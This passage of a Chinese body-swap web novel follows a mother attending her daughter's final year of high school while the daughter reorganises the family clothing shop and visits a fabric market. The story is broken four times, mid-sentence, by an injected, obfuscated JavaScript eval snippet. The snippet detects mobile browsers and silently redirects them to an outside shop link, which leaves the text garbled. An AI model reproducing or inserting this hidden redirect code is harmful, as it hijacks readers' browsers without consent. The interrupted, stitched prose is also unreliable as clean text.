唉，南茜在心里默默叹气。没想到自己四十岁了，还得被老师叫办公室。看来学生时代也不是全都是美好啊。 “米卡，最近你成绩有所退步，这要引起你的重视啊”，课间，老赵把南茜带到办公室，苦口婆心，“你常常说你想逃离你的家，可是这得建立在你好好听课、提分的基础上啊！不然你怎么考上好大学，自己独立呢？” 什么？南茜暗自惊讶。老赵说什么？米卡想逃离这个家？ 也就是说，米卡想逃离自己吗？ “我说的话，你自己好好想想吧”，老赵见南茜不说话，以为她在检讨自己，“你是不用人操心的孩子，就剩最后半年了，你能稳住最后这段时间，就算是胜利了。” 可是南茜现在脑子里只剩下那句，你想逃离你的家。她从没想到，米卡会这么讨厌这个家，讨厌她这个妈妈。 她只觉得，自己到底成为了一个失败的母亲。 下一节是语文课。 “米卡，你来背这一段”，语文张老师点了南茜。 “哪……哪一段？”南茜小声问卓琳。刚才她还在想赵老师的话，压根没听课。 “这段”，卓琳小声提醒，"《阿房宫赋》最后一段"。 南茜瞄了一眼课本：“呜呼！”……呜呼什么呜呼？后面是啥？ "灭六国者六国也，非秦也……”卓琳好心地小声提醒。 “我看谁在下面提醒啊！”张老师一出声，卓琳也不敢说话了。 “灭六国者六国也，非秦也；……灭秦者秦也，非天下也。……古仁人之心，……后人哀之而不鉴之，亦使后人……亦复哀后人也。” 南茜不仅背得错误百出，磕磕巴巴，而且中间还缺了一大段。 “就这样了？” 张老师怎么也想不到这是米卡的水平。她不可置信地问。 这些内容，米卡应该早就是滚瓜烂熟的程度。怎么可能连这个都背不下来？ “就这样了。”南茜头皮发麻。 “你咋回事？”饶是张老师脾气好，也禁不住“米卡”这样的惊吓，“你睡觉睡糊涂了？没带脑子？” 这倒提醒南茜了，她随口胡说：“老师，我早上发烧了，真的有点记不清楚了。” 下面又有人在小声窃笑。 张老师只得挥挥手，让南茜先坐下。 “米卡，你没事吧？””等老师回到讲台，卓琳也小心翼翼地问。 “没事，我就是昨天没睡好。” 卓琳才不信，没睡好会忘课文？课文对于米卡这种选手来说，都是刻进DNA里的东西了。 但她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441464|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在无法解释为什么米卡背不出了。 下一个课间，英语课代表走到米卡桌前：“米卡，你早上没来，是不是作业还没交。给我吧，我帮你送办公室。” “哦好，哪一科？” “英语啊”，英语课代表纳闷，“你还能给我数学作业不成？” 南茜把米卡写好的英语作业交给她。课代表奇怪地看了她一眼，拿着作业本走了。 大家都很纳闷。 上数学课画画，上语文课背课文背不出，交作业不知道交哪科，这还是那个天天闭眼拿年级第一的学霸吗？难道真的发烧烧傻了？ 好不容易捱到了中午。 南茜被接连打击了一上午，饶是开朗的她也不想说话了。 所幸米卡平时就独来独往，南茜中午吃饭也就一个人。 食堂的饭真难吃。 南茜吃完饭，一边往教室的方向走，一边这么想。 吃饭还得掐点，回去还要抓紧时间午睡，甚至午睡铃之前，还要插空再多做几道题。 原来米卡平时过的就是这样的生活。每一分每一秒都是被精确计算好的，容不得一点浪费。 现在的孩子真累。高三的孩子真累。 也不知道米卡那边是不是顺利，南茜又开始担心店里。 不过应该比这边好吧，毕竟连老赵都说，米卡是不用人操心的孩子。 “哎呦喂”，正在一个尖锐的女声在南茜身后响起。正在跑神的南茜回过头，看见一个扎着高马尾，戴着眼镜的女生，语气满是讥讽，“这不是我们的大学霸，米卡小姐吗？怎么一副见了鬼的模样。上数学课画画，上语文课背不出课文，被鬼上身了吗？” 南茜选择保持沉默，听完女生的话就转回头，不再理她。 南茜第一天来，还搞不清楚对方对她的态度，米卡对她也没有交代。她不想再给米卡徒惹麻烦。 “呵，你以为我多想和你说话？你在高傲什么？”那女生看南茜这样，忽然开始恼羞成怒，“就算你考上了好学校，你就有条件上吗？你家里能给你托底吗，就靠你那个不靠谱的妈？” “不想和我说话可以不说，我看你嘴里也说不出什么好话。”南茜隐隐有些明白了，冷静地回答她，“我妈是不是靠谱，轮不着你来评价；我家里怎样，我过得怎样，都和你没有任何关系。请你不要那么激动，这会让你看起来像一个小丑。” “你！”林芳鼻子都被气歪了，却无力反驳。 南茜心里觉得她好笑且幼稚。开玩笑，我再怎么缺心眼也是个成年人，还能治不了你一个小丫头片子？ “你以为你考个高分就可以高高在上，目中无人了吗？你不就是看不起我吗？”林芳越说越激动，“我倒要看看，你最后到底能考个什么大学。最讨厌你这种有点成绩就得意忘形的人，咱们走着瞧！” 南茜沉默了，她没想到，米卡在同学们心里是这样的形象。 诚然，林芳很明显对米卡怀有敌意，不是所有人都会觉得米卡高高在上，这不可否认。但除林芳之外，以米卡冷淡的性格，认为米卡不合群的同学，只会多不会少。 我亲爱的女儿，你是如何日日在这样的环境里学习生活，承受着这些敌意与压力成长的？我对此竟毫无觉察，我实在不是个称职的母亲。 南茜在心里这么想。 她从来没有一刻，像现在这样，想立刻见到米卡。 6. 店铺大整顿 “铃铃铃……”第二天早上，米卡依旧是被八点半的闹钟叫醒的。 她照例不放心地去看南茜的房间。很好，家里只剩自己一个人了，看来今天南茜没有迟到。 米卡一边刷牙一边想：一切都在步入正轨，一切都会好的。 昨天晚上太困，好像是做着作业就趴在桌子上睡着了。半夜醒来，却发现自己睡在自己的床上，身上换了平日南茜的睡衣，想必是南茜给自己换上的。 托崴脚的福，这两天米卡终于不用纠结穿高跟鞋去店里的问题了。她再次笨拙地画好了妆，9点整，心安理得地穿着平底鞋出门。 今天，就是米卡开始着手整顿店铺的日子。 “早。”米卡到店路上又碰见了文烁，点头和她打招呼。 “早。”文烁笑呵呵的。 到了店里，米卡先打开手机美团，搜了附近的「LED 门头维修」，选择时间，添加备注，预约，交钱，一气呵成。 接下来，就是清点、整理库存了。 米卡把所有店里的衣服，衣架上挂着的、库存的，全都放在一起。 同样的款按照尺码顺序放在一起，分开正常可卖的、断码款和残次、脏损、开线款。 文烁看着米卡的操作，感到好奇：“怎么忽然想到清理库存了？” 她印象里，南茜从来不曾清点过库存。卖了多少、还剩多少，都是跟着感觉来的。卖的好的款没了就补，卖的不好的款没了就不管了，从来没有明确的规划。 米卡只是笑笑。 “文烁”，过了一会儿，米卡唤她，“工厂最近还有多少货要补？” “这你为啥问我？”文烁大惑不解，“这不都是你管的吗？我只是个店员，哪知道这个？” 哦，对哦。米卡才反应过来。 也就是说这事只能问南茜。可是南茜真的记得自己的订货量吗！ 还有昨天问她的打版费的事。这个估计南茜也没统计，甚至可能还要一条一条找付款记录。 米卡在心里默默扶额，低头给南茜发消息。 发完了她才开始后悔。她看看手机，现在正好还是上课的时间。 可别南茜偷偷带的手机在上课的时候响了，被老师没收了吧！ 算了，发就发了，也没办法了。 “请问，这里是公主的可爱小铺吗？”一个彪形大汉忽然闯进店里，与店里软萌的画风格格不入。 “啊……对。”这个羞耻的店名被这么一个叔叔大声读出来，米卡的脚趾都要在鞋里抠出个三室一厅出来了。 “是这个招牌要修是吗？”大叔看着走出来的矮个子姑娘，问道。 “是的。麻烦师傅看看，有两个字不亮了。” “哦，好解决，就是接触不良了。”师傅拿着电笔一通操作，很快发现了问题。 “不过你家这个招牌看起来用了很多年了，”师傅建议说，“我建议你直接换新的得了，根据我的经验，这种老招牌很容易坏，这次修好可能过不久又要坏，还不如直接换一个。” “真的吗？” “小姑娘，我骗你干啥？”大叔无语，“你修也是两三百，整个给你换新也是两三百，对我来说都一样的收费。但你换了新的，比之前的省电，而且还比之前的亮，还能多用两年。” “嗯，那好吧。”米卡觉得师傅说的在理，并且收费相同，何乐而不为呢！ 等新招牌换好，也已经中午了。米卡又拿过手机，看见南茜还真的发了消息过来。 一个备忘录的截图。米卡细看，内容如下： “A款工厂订货XX件； B款工厂订货XX件……”以此类推，写了25款的订货情况。 可是米卡今天上午整理出来的款式有37款。 打版费的事也没有说明。 于是米卡给南茜回消息：“就这25款还有订货没回来是吗？剩下的呢？另外，打版费的统计什么时候能给我？” 点击发送。 应该又要好久没有回音。 临近中午，米卡让文烁先去吃饭，自己看店。等下换自己去吃。 趁此功夫，米卡对照南茜发来的工厂订货量，在自己上午刚整理的清点表里默默更新数据。 中午速速地在隔壁小餐馆吃完饭，米卡把店里几件主打款取出来摆好。这几件虽然卖的也还行，但米卡总觉得还是哪里有点怪怪的。 那几件衣服，都是偏可爱的款式。一件是蕾丝边的连衣裙，裙摆是层层叠叠的蛋糕形式，几层裙摆分别是灰色，棕色和米色；一件是薄薄的浅白色针织衫，胸口有个大大的粉色心形蕾丝图案，领口和袖口也都是繁复的蕾丝花边；还有一件是条米白色的长裤，上面有粉色的图案，裤脚同样有两层蕾丝花边，增加了甜美度。 这几件衣服，好看是好看的，甜美也是甜美的。但由米卡看来，甜美得有点太过了，少了点独特的、酷酷的味道。 她想，可能是南茜偏向这种纯甜美的风格，并且以为现在的年轻人也都喜欢这种。她从一个长辈的眼光出发，总是觉得小姑娘就应该穿的软萌软萌的。 米卡很清楚，现在年轻人更喜欢的是甜酷风，就是在“甜”的基础上增加上一点点“酷”。就好像纯甜的饮品让人觉得腻，增加一些苦味的奶茶或咖啡才是最受欢迎的。 她想了想，在本子上记下： “A.蕾丝边连衣裙：多层蕾丝边改为单层荷叶边； B.针织衫：增加黑色版本，心形蕾丝颜色饱和度调低； C.长裤：增加黑色版本。裤脚两层蕾丝花边改为双层荷叶边，荷叶边颜色为粉色。” 她决定把这几款的改动回去和南茜商量一下，再让工厂打版。 然而，米卡还有一件事不满意。 她发现，除了纯色面料以外，现在店里的布料都是一些很常规的图案，应该就是南茜在市场上进的公版面料。 这些面料也说不上不好看，但在米卡看来，很多图案都有些无趣，比如波点或者条纹图案。这些经典款式，更像是妈妈辈喜欢的。 年轻人穿这种经典款，反而穿不出经典款的味道来。 米卡想，既然是面向年轻小姑娘的品牌，自然会更喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441467|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢一些新奇的图案。现在卡通的可爱印花就很受欢迎，不管是印在外套上还是T恤上，都很独特，很多年轻人喜欢。 米卡下意识打开了淘宝。 刷了一会儿，米卡发现淘宝原创布料的画风也都不是自己想要的。和经典款相反，大多布料要么看上去太老气，像是给五六十岁的大妈穿的布料；要么看上去太幼稚，米卡都能想象到，同样的布料给三岁孩子做个连衣裙挺合适。 她想要的，大概是MinaPerhonen那种素雅、有格调的印花。 可是她也清楚MinaPerhonen的价格：150cm的布，要580元。很明显，这不是她和南茜能消费得起的价格。 “滴滴，”正在米卡一筹莫展之际，南茜的消息来了。 “应该是只有这些了，打版费我现在顾不上，晚上回家再说吧。” 她回复的是上一条消息。 米卡决定暂时先放一放上面库存的事，问下南茜，之前店里的布料都是从哪里淘的。 “好吧，那店里的布料之前都是在哪批的啊？” “稍等不能和你说了” 米卡在发出消息的同时，南茜发来的消息也映入眼帘。 并且后面再也没有了消息。 很快又要晚上了。下午店里一直没什么人，米卡伸了伸懒腰，开始准备直播的事宜。 一回生，二回熟。米卡毕竟是学霸，学东西很快。现在的她，已经自信自己能够清楚地记得各个尺码的身高、体重区间，也已经熟悉了最近直播的几款衣服，并能流利地完成直播的话术。 因此，虽然今天才是第二天直播，她已经比昨天淡定很多了。 流程还是昨天那样，唯一让米卡有点紧张的是，由于昨天是第一次直播，她没有意识到网络有延迟。所以米卡一上来就讲话，其实观众是看不见的。 这还是今早和文烁聊起来，米卡才意识到的。 但是意外总是在你以为很顺利的时候到来。 这晚六点五十，正当米卡刚做完直播前最后的准备时，她接到了老赵的电话。 “喂您好，是米卡妈妈吗？” “您好，我是。请问您是？”米卡习惯性地问了一句，尽管自己已经很确定是老赵打来的。 “您这是有两个手机吗？米卡在学校玩手机，被我发现了。另外这两天米卡状态很不好，您有空能尽快来学校一趟吗？” 米卡很无语，一方面是南茜用手机还是被老师发现了，一方面是，她觉得南茜昨天和她描述的情况，自己都还算能接受，老班怎么就觉得好像问题很大一样？ ”必须得现在过去吗？”米卡迟疑地问，“我这边店里还有事要忙……” “米卡妈妈，”老赵的语气十分严肃，“孩子高三了，还有半年就要高考，现在有什么比孩子更加重要？这是您女儿，这道理还需要我讲给您吗？” 得了，米卡知道，再和老赵纠缠也是没用的。她太了解自己班主任了。 “好吧，我现在过去。”米卡认命，交代文烁代为直播，就穿好衣服，往学校赶去。 7. 学霸也会请家长 等米卡赶到学校，时钟已经走向晚上七点半。 夜色里，米卡走到教室门口，向自己再熟悉不过的教室里张望了一眼。 老赵正盯在着班里上晚自习。看到门外的米卡，他拿眼神示意了一下南茜，让她跟他出来。 南茜怯生生地站起来，班上有人开始窃窃私语，小声起哄。 “安静！”老赵眼神犀利地扫视了一下全班，带着南茜走到教室门外，关上门。 “你自己先说说吧。”老赵带着点生气的语气对南茜说，说着还顺势靠在了教室外墙上。 他没注意到南茜看到米卡，是一副“看到了救星”的眼神。 “就是我今天在学校玩手机，被老师发现了。”南茜决定少说。少说少错，多说多错。 “还有呢？”赵老师提醒道。 南茜选择沉默。 其他的米卡都知道了，现在一定“沉默是金”。 “行，你不说我替你说。”老赵从自己倚着的墙上起身，“你先回班，我和你妈单独说几句。” 老赵觉得，有些话还是不让米卡在场比较好。 南茜逃也似地转身回了教室。 赵老师看着南茜进了教室，才转向米卡：“米卡昨天上课的时候，在我的课上画画。米卡妈妈，最近家里是发生什么事了吗？她现在这个状态，我只怕她是受了什么刺-激。” “没有发生什么事啊”，米卡表情平静地说，又想到昨天发烧的借口，“可能她是这两天刚生过病，身体还不是很舒服，学习有点懈怠吧。” “米卡妈妈，不是我说你，”赵老师见米卡云淡风轻，生怕她不重视，有意无意地做出一副痛心疾首的模样，“您不能只顾工作，对自己的女儿一点心都不操。尤其是像米卡这样的好学生，她平时都是很认真学习的，这两天呢？连手机都玩上了。耽误学习倒是其次，我就怕她是思想压力太大，或者太累了忽然崩溃厌学，这种情况就比较麻烦了。” 米卡这才理解，老赵原来是担心这个。 “另外，我今天看她在课间玩手机，想着给您打电话，结果米卡手里的手机响了。您的手机怎么在她手里？” 米卡一时语塞。可是老赵还在等她的回应，她只能编个谎出来。 “……我有两个手机，米卡拿的那个手机平时在家我会给她玩一会儿。昨天我也忘了收了，可能她就趁机带学校来了。” 赵老师摇摇头，看来是明显不相信这番鬼话。 “不管怎么说，还有半年就高考了。米卡最后能考出怎样的成绩，最后这半年很关键。”赵老师还在苦口婆心，“孩子学得怎么样，不能只靠学校的管教，而是需要家校一起努力。学校这边您放心，我盯着，但是您回去也多对孩子上上心，聊聊天，看看她最近是不是有啥心事。这个节骨眼了，可不能浪费精力在学习之外的事情上。” “对对对，赵老师您说的没错。手机我肯定不会再让她带到学校了。”米卡随口应着。她在班上，类似的话也已经听了很多了。现在的状况，她只想赶快把老班敷衍过去。 “……唉，就这样吧，该通知您的情况，我也都带到了。麻烦您来学校跑一趟了。”赵老师最后把南茜的手机交到米卡手里，“今晚就让孩子正常上完自习，您先回去，回家后您再和她聊聊吧。” 米卡离开了学校。 时间还算早，离店铺直播结束和晚自习结束都还有一段时间。 恰好米卡拿到了南茜的手机，她本想给文烁打电话，问问店里直播的情况。可当她拿起手机转念一想，万一有啥事，文烁也会打电话过来，自己还是别打扰她直播了。 米卡停下了按在键盘上的手指。 回家后，很有必要把手机也换回来。米卡想。这样，南茜手机里关于店里的资料、联系方式都可以让她无痛“继承”，这样，她也不用老是让南茜面临在学校还得接收自己消息的情景了。 “哎呀我的妈，我真的得叫你妈了我的祖宗！”南茜刚一进家门，把书包往沙发上一扔，随即就在沙发上扑倒。“你这个学真难上，我说你能不能不要老是在我上课的时候发消息给我啊！” 米卡看着南茜，甚至有点自己都没觉察到的幸灾乐祸，她等着南茜继续吐槽。 “你今天白天一共给我发了三次消息，每次还都是上课的时候。”南茜果然开始继续输出，“第一次手机响了，我赶快按了静音，老赵还就是看了我一眼，没理我；我等到下课他不在班上的时候，才偷偷给你回的消息。” “第二次也还好，静音，没人听见手机响，我还是下课回的。 “我回完消息你直接又给我发，我正想回的时候，看见老赵就站我面前了，我真服了！” 这就是为啥最后一句南茜的回复是“稍等不能和你说了”。 她是真不能和米卡说了，手机都被没收了！ “噗哈哈哈……” 米卡实在没忍住，笑得趴倒在沙发上。 她也不知道为啥，好像和南茜互换了身体以后，性格也和南茜越来越像了。 “你还笑！你有没有同情心！”南茜气不打一处来，顺手拿了一个抱枕，向米卡扔过去，“我好心好意冒着被老师抓的危险回你的消息，你就是这么对我的？” "……对不起对不起，"米卡止住笑，接过南茜扔过来的枕头，歪头坐着看着南茜，“你来说说吧，今天肯定干的也不止玩手机这一件坏事吧？” “喂，你这个说话的语气是怎么回事？”南茜很不满，“就好像在上高中的真的是我一样，你还真跟着老赵对我进行处刑啊？” “哎呦瞧您说的，”米卡眯着眼，捏了捏自己的眉心，“您是以我米卡的名义和形象去上学的，您闯祸了对我有什么好处啊？” 南茜转了转眼珠，觉得米卡说的也对。 随即她又心虚地说：“……今天也没干啥，你昨天不是都交代我了吗，听不懂也不能上课画设计稿了。但是我昨天实在是睡得太晚了，今天起得又早，就不小心在上午最后一节数学课上睡着了……” 米卡捕捉到了重点：“你昨天几点睡的？” 她还记得半夜起来自己躺在床上，应该是南茜把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441470|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己“搬”到床上的。那会儿最起码已经十一点以后了。 “凌晨……一点……”南茜小声说。 “凌晨一点？”米卡炸毛了，“你睡那么晚干啥？玩手机？” 南茜默默地不敢说话，看着米卡发飙。 “……我看老赵说的也没毛病。”米卡得出结论，“你是得改改你玩手机的毛病。我看，你们成年人反而比我们这些学生更没有自制力。” 这倒也对。南茜这么想，但她可不敢真的这么说出来。 “总之咱俩还是把手机换过来吧，之前忘了这事了。”米卡说，“这样，你店里的人的联系方式和备忘录我就都有了，我在店里会更方便。” “啊？”南茜一瞬间瞪大了眼，随即意识到自己的失态，又说，“那我把手机清理一下再给你。” “好。”米卡没有多想，由她去了。 “哎对了，”半晌，南茜又想到一件事，“今天有个随堂测试，一节自习课的时间。我在下边答题，老赵在我身边站着看了好长时间才走。” “他看什么？看你答不上来？”米卡没反应过来。 “关键我不是空着的啊，他看我打草稿，”南茜看着米卡的眼睛道，“后来我意识到他是在看啥了，他发现‘你’的字和他熟悉的不一样了，甚至和平时交上去的作业字体也不一样。但看着又确实是‘米卡’在答题，他也就没说什么。我在想，我还是得抽空练练你的字。” “这样啊。”米卡恍然大悟，“幸亏老赵还是熟悉我的字的，能看出来平时你交上去的作业是我本人写的。不然他要是觉得我平时的作业不是我的字，那我不就成了找人帮我写作业了吗！” 想到这，米卡简直有些哭笑不得了。 “你今天问我店里的布料是哪里批的，是要干啥？咋忽然想到问这个？” 南茜忽然想到那条让她收到了“请家长大礼包”的消息。 “哦，你不说我都忘了。”米卡正色道，“我看店里的面料图案要么比较素净，要么都是经典款，觉得不太符合现在年轻人的审美，想淘点好看的面料。” “哎呦，才接手两天就看不上老妈的品味啦？”南茜打趣道，“城东有个面料市场档口，咱家的布料都是在那淘的。那里的挺多款都是不在网上卖的，你可以去看看有没有你喜欢的。” “好吧。另外我对店里的几个款式有一些小修改，给你看看？” “不用了，”南茜摆摆手，“你这个学霸还需要我批准吗？你觉得行，我就给你联系打版工作室，先看看效果。” “好吧。”米卡也没想到南茜这么好说话，“另外，店里所有款式的打版费您还都记得不，这个您还没给我，咱们结合现有库存，就可以把真实定价算出来，后面再想办法追回一些损失。” “哦对，我现在就去扒付款记录。”南茜习惯性地吐了吐舌头，看来她已经把这事一而再、再而三地抛到脑后了。 米卡看着南茜回房间整理打版费清单，她现在的心思却都在寻找新面料上。她决定明天一早，就去面料档口市场碰碰运气。 8. 勇闯面料市场 “哇，这里面这么大？” 第二天早上，当米卡第一次站在面料档口的入口，她情不自禁发出一声惊呼。 虽然自家就守着个小服装店，但因为南茜从不让米卡插手自己的工作，米卡从小就很少有机会逛批发市场。这种大型的面料档口市场，米卡更是第一次来。 她感觉自己现在简直像刘姥姥进了大观园，铺天盖地、五花八门的布料，让她目不暇接、眼花缭乱。 有卖扣子、皮筋、拉链等辅料的，有卖小外搭背心的，有卖成块、成捆的碎布的，当然最多的还是卖码放整齐，一叠一叠按米、按斤批发的整布的…… 布料的图案更是琳琅满目：各种颜色和种类的碎花、波点、条纹、网格，不同颜色、面料质感、厚薄、克重，想要哪种都可以找到。 米卡深吸一口气，沉下心慢慢挑。她下定决心今天一定要不虚此行，找到心仪的布料。 这个档口的规模比自己想象的还要大很多。米卡知道，估计今天一上午就泡在这里了。 这里的布料大多物美价廉，很容易挑花眼。好在米卡目标比较明确，眼光也比较挑剔，逛了两三个小时，她已经淘到了五六款自己心仪的布料。 有浅米色的小格子的牛仔布，有清新的蓝色条纹的雪纺，有淡粉色的心形印花的纯棉面料…… 接近中午，当米卡看着自己手上的一袋袋“战利品”，以为自己已经心满意足，要满载而归的她，忽然意识到一个问题：自己想要的独特图案，到目前为止还是没有找到。 米卡觉得，虽然自己已经淘到的面料，无论从质感和图案来说都很好，也符合自家店的风格，但终归还是没有独特的辨识度。在她看来，这些图案也就能用做内衬的布料，放在衣服外层，作为自家的门面，还是远远不够看的。 “哎，这不是南老板么？今天有空来逛啦？”米卡正沉思着往前走，忽然听见一家店铺的老板招呼她，看来南茜之前是这家的熟客，“我刚到一批新货，特别适合你家做的款，我拿给你看？” 老板一边拉凳子，招呼米卡坐下，一边把旁边的样册给米卡递过来。 “你看看，这个是咱家新款，”老板忙不迭地给米卡介绍，“这个是你平时喜欢留的薄款，我都给你留了颜色最走量的几个，你觉得咋样？” 米卡环视了一下店里，只大致扫一眼，就发现有好几款都是自家衣服用的面料，图案和质感都是一样的。 她看了看面前老板递过来的样册，她指给自己的那几款图案，也确实都符合自己家一贯的品味和选择习惯。 米卡想了想，指着其中一款格子的说，“这个款的，拿个豆绿色和肉粉色的吧。” “好嘞，就知道你喜欢这个，”老板雷厉风行，“我马上就给你配，还是直接送到店里哈。” 米卡见这架势，就知道老板与南茜确实很熟络。她想，索性就向这位老板打听一下，有没有比较特别的布料。 “行，谢谢啦。”米卡笑着问，“老板，我想问一下哈，咱们店里有没有比较特别一点图案的布料，就是那种自家原创的？” “……原创的啊？”老板闻言有点懵，手里收拾布料的动作都停了一下，“怎么忽然想要原创图案了？你看下这个呢？” 老板拉着米卡看一个花哨的、点缀着鲜艳的玫瑰花和小鹿的面料：“这个是我家原创的，你觉得怎么样？这个图案挺可爱的，前两天有家店刚拿走了10米呢！” 米卡看了看，不是自己的菜，表情犹豫。 “那这个呢？”老板又拉着米卡看另外一款。这款有一串串红彤彤的草莓和白色奶油印花的图案，大面积的铺在深蓝的底色上，“这个拿去做小裙子很好看的，很有Lolita风，现在很流行的。” 这个倒是还行，凑合可以用，确实很可爱。米卡想了想：“这个拿1米吧，我先打版看看。” “好嘞，”老板挺高兴，还想再卖出去一些，于是神秘兮兮地对米卡说，“最后还有一款布料，我一般不给别人看，是咱家的镇店款了，我带你去看看。” 老板拉着米卡走进里间，翻来翻去，找出了一款浅米又带点灰蓝色的，绸缎质感的面料。这款面料带点幻彩感，闪着贝母般的光芒。虽然是素色的，但胜在质感出众。米卡都能想到，这款拿做半身裙或衬衫，会很显气质。 但问题是，自家是主打可爱风。这材质明显和自己家调性不搭，米卡一时没有想明白这款怎么和店里的风格统一。 “这款布料很显贵、显气质，”老板显然看出米卡在犹豫什么，神神秘秘地和米卡说，“但是你家可以把这款布料用作羽绒服外面的面料，会很俏皮可爱。信我。” 说罢，老板还不忘给米卡一个wink。 米卡忽然就有点明白，为啥南茜和这家老板关系好了。 “好，那这个也拿1米，我也先回去打版试试，”米卡决定这款也少拿一点试试水。 毕竟这款她个人也觉得很美，即使不是出于店里的经营，她私心也想自留一些。 但她也知道，这个店里最好看的款也就这样了。 可是她还是不死心，决定再问老板一句：“咱们这个档口，哪家做原创比较好啊？我还是想再淘点原创图案的布料，偏可爱风的。” “这样啊，”老板一边帮米卡打包，一边说，“你如果实在想要原创的布料，那你只能到楼顶的原创设计师工作室碰碰运气了。不过，那些独家设计的布料一般都会比较贵。” 老板打包好布料，接着说，“而且那些设计师一般只接单那种比较知名的原创店。不是我看不起你家，像你家这种原创小店，人家还真未必搭理。” 老板撇撇嘴，继续说：“尤其是那个POPO彭，他的设计虽然款款爆火，但是他要价死贵不说，本人脾气还特别怪，听说经常能把找他设计的店家骂哭。要我说，你看看其他家也就行了，最好别去招惹那个怪人。” “……额，叫啥来着，泡泡泡？”米卡一脸疑惑。老板的口音太重，她实在是没听懂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441471|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “POPO彭，PO-PO-彭，老板姓彭”，老板努力地发音，一边摆手道，“不过我劝你还是别好奇他了，咱惹不起，也消费不起啊！” 说罢，老板带着米卡一起离开了里间。 “那我先去顶楼看看。”老板的话倒是勾起了米卡的好奇心。她打定主意一定要去顶楼看看这个“泡泡泡”，看看究竟是何许人也。 “去吧。祝你好运。”老板挥别了米卡。 整个档口有十二层，原创工作室都在最顶层。人流量太大，当米卡好不容易等了半个小时电梯，到了顶层，才发现设计师们都下楼吃饭了。整个十二层的所有工作室，竟然都关着门，要么就是虚掩着门，空无一人。 真倒霉！米卡想，不然自己也先去吃个饭再来？ 可转念一想，自己好不容易才坐电梯上来的，实在不想再挤半个小时电梯折腾下去。算了，索性看完再走吧。 反正米卡这会儿也没报太大希望。楼下老板不是说了吗，自家这种小店，基本上原创工作室都是不接单的。 米卡顺着走廊往里走去，默默看着店铺上面的招牌。名字都很奇怪：“跳跳蛙”、“会飞的猪”、“林林柒的小店”…… 果然是原创店啊，咋都感觉和自家店是一个画风。米卡一脸黑线。 她的脚步在一家店铺门前停下。她抬头看到店铺的招牌写着：“POPO的店”。 原来老板说的“泡泡泡”，是"POPO彭"啊！米卡这才恍然大悟。 她推开虚掩的门，里面的装潢是米卡始料未及的可爱： 墙壁全是浅粉色和浅黄色的主色调，门一侧的墙边放着一张粉色的长条沙发，沙发上方的展示板上，钉着各种手绘花稿、配色方案、流行色卡；一张大大的粉色设计桌立在房间正中央的位置，桌上凌乱地打版纸、剪刀和小布样。靠桌下的椅子是一把可爱的粉色转椅，上面还印着HelloKitty的大头和蝴蝶结…… 这工作室的画风，和南茜在店里的化妆间都有的一拼了。 这么可爱的工作室的主人，还能是个脾气很差的人？米卡实在想象不出。 她觉得，能把工作室装修成公主房的设计师，起码应该是位长相甜美的小姑娘。最不济，也得是南茜那样人老心未老的老少女吧。 “未经允许就随便进别人房间，你是不是太没有礼貌了？” 米卡正看着房间里的陈设出神，一道清冷的男声在身后响起。 她猛地一惊，回头看见一个长得又瘦又高的男人。男人的身高大约已经超过了190，但是长相却带些女相，很白的皮肤，随意地穿着一件轻薄的深色T恤，灰色裤子。嘴里的话很有攻击性，人却有一种安静的气质。 想来这就是这间工作室的主人了。 米卡觉得，这人的风格实在和这间可爱的工作室风格不搭。 可是，在她所有的疑问冲出口之前，当对面的男人看见她的脸，反而是男人怔在了原地。 “……南茜？” 10. 贾言的困惑 米卡独自一人“勇闯”面料档口市场的这一天，终于不再迟到的南茜开启了她第三天的校园生活。 虽然才第三天，南茜已经觉得自己的状态可以用“度日如年”来形容了。 她没想到，就算是借着米卡的身体，再上一遍高三还是这么累。 她以为不是“自己”在上学，心态上就可以完全放松，但实际上完全不能。 她知道很多人都会在高考之后，遇见让自己压力大的事，就会做梦回到高考的考场。而南茜不同，她自从高考以后，甚至上完大学以后，重复做的，都是她要再回去读一遍高三的梦。 